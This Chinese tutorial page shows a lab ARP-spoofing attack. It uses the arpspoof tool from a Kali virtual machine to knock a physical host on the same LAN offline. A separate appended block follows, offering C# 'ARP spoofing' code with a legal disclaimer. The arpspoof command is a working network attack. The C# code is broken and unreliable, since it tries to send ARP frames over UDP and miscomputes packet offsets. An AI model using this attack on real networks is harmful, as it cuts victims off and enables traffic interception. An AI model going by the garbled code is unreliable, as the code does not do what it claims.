简单实现ARP攻击

环境准备:1.一台kali linux虚拟机

                  2.物理机

                   使用网桥连接,让虚拟机和物理机在一个局域网之下。

                   kali中需要安装好arpspoof和driftnet工具

一、ARP欺诈:实现对物理机的断网操作

       检查物理机与虚拟机的网卡名称、ip地址、MAC地址

 

物理机的为192.168.178.174  虚拟机为192.168.178.134

将他们ping一下 看通信是否正常

现在已经ping成功了

用arp -a(物理机) 命令

可以看到此时网关是 192.168.178.150

现在在物理机上ping www.baidu.com 证明此时网络是通畅的

现在开始使用arpspoof命令:arpspoof -i eth0 -t 192.168.178.174(目标的ip) 192.168.178.150(网关)

此时再ping百度 已经不超过了

取消攻击  ctrl+c

 

 回复正常

 此次攻击到到此结束了  一个很简单的小攻击

        

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
ARP探测攻击,也被称为ARP欺骗攻击,是一种网络安全攻击方式。实现ARP探测攻击可以使用C#编程语言,下面是一份简单的代码示例: ```csharp using System; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; namespace ARPAttack { class Program { static void Main(string[] args) { // 获取本机IP地址 string hostName = Dns.GetHostName(); IPAddress[] addresses = Dns.GetHostAddresses(hostName); IPAddress localIP = null; foreach (IPAddress address in addresses) { if (address.AddressFamily == AddressFamily.InterNetwork) { localIP = address; break; } } // 获取网关的MAC地址 PhysicalAddress gatewayMac = null; using (Ping ping = new Ping()) { PingReply reply = ping.Send(localIP); if (reply.Status == IPStatus.Success) { IPAddress gatewayIP = IPAddress.Parse("192.168.1.1"); // 假设网关IP地址为192.168.1.1 ArpPacket arpRequest = new ArpPacket(localIP, gatewayIP); byte[] requestBuffer = arpRequest.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(requestBuffer, requestBuffer.Length, new IPEndPoint(gatewayIP, 0)); IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 0); byte[] responseBuffer = udpClient.Receive(ref remoteEP); ArpPacket arpResponse = ArpPacket.FromBytes(responseBuffer); if (arpResponse.Operation == ArpOperation.Response) { gatewayMac = arpResponse.SenderHardwareAddress; } } } } // 发送ARP欺骗包 while (true) { ArpPacket arpSpoof = new ArpPacket(localIP, IPAddress.Parse("192.168.1.100"), gatewayMac); byte[] spoofBuffer = arpSpoof.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(spoofBuffer, spoofBuffer.Length, new IPEndPoint(IPAddress.Broadcast, 0)); } System.Threading.Thread.Sleep(1000); } } } public class ArpPacket { public const int HardwareAddressLength = 6; public const int ProtocolAddressLength = 4; public const int PacketLength = 28; public PhysicalAddress DestinationHardwareAddress { get; set; } public PhysicalAddress SenderHardwareAddress { get; set; } public ushort ProtocolType { get; set; } public ArpOperation Operation { get; set; } public IPAddress SenderProtocolAddress { get; set; } public IPAddress TargetProtocolAddress { get; set; } public ArpPacket(IPAddress senderProtocolAddress, IPAddress targetProtocolAddress, PhysicalAddress destinationHardwareAddress = null, PhysicalAddress senderHardwareAddress = null) { this.DestinationHardwareAddress = destinationHardwareAddress ?? PhysicalAddress.Broadcast; this.SenderHardwareAddress = senderHardwareAddress ?? GetLocalMACAddress(); this.ProtocolType = (ushort)EthernetType.Arp; this.Operation = ArpOperation.Request; this.SenderProtocolAddress = senderProtocolAddress; this.TargetProtocolAddress = targetProtocolAddress; } public byte[] ToBytes() { byte[] buffer = new byte[PacketLength]; this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, 0); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength); BitConverter.GetBytes(IPAddress.NetworkToHostOrder(this.ProtocolType)).CopyTo(buffer, HardwareAddressLength * 2); BitConverter.GetBytes((ushort)this.Operation).CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2); this.SenderProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength); this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength); this.TargetProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength); return buffer; } public static ArpPacket FromBytes(byte[] buffer) { PhysicalAddress destinationHardwareAddress = new PhysicalAddress(buffer, 0, HardwareAddressLength); PhysicalAddress senderHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength, HardwareAddressLength); ushort protocolType = (ushort)IPAddress.NetworkToHostOrder(BitConverter.ToInt16(buffer, HardwareAddressLength * 2)); ArpOperation operation = (ArpOperation)BitConverter.ToUInt16(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); PhysicalAddress targetHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength, HardwareAddressLength); IPAddress senderProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2)); IPAddress targetProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength)); return new ArpPacket(senderProtocolAddress, targetProtocolAddress, destinationHardwareAddress, senderHardwareAddress) { ProtocolType = protocolType, Operation = operation }; } private static PhysicalAddress GetLocalMACAddress() { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); PhysicalAddress macAddress = null; foreach (NetworkInterface adapter in nics) { if (adapter.OperationalStatus == OperationalStatus.Up) { macAddress = adapter.GetPhysicalAddress(); if (macAddress != null && !macAddress.Equals(PhysicalAddress.None)) { break; } } } return macAddress; } } public enum ArpOperation : ushort { Request = 1, Response = 2 } public enum EthernetType : ushort { Arp = 0x0806 } } ``` 上面的代码中,我们先获取本机的IP地址和MAC地址,然后发送一个ARP请求包到网关,获取网关的MAC地址。接着,我们每秒钟发送一个ARP欺骗包,将本机的MAC地址伪装成另外一台机器的MAC地址,从而实现ARP欺骗攻击。 需要注意的是,ARP欺骗攻击是一种违法行为,未经授权使用可能会导致法律后果。本代码仅供学习和研究用途,请勿用于非法用途。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值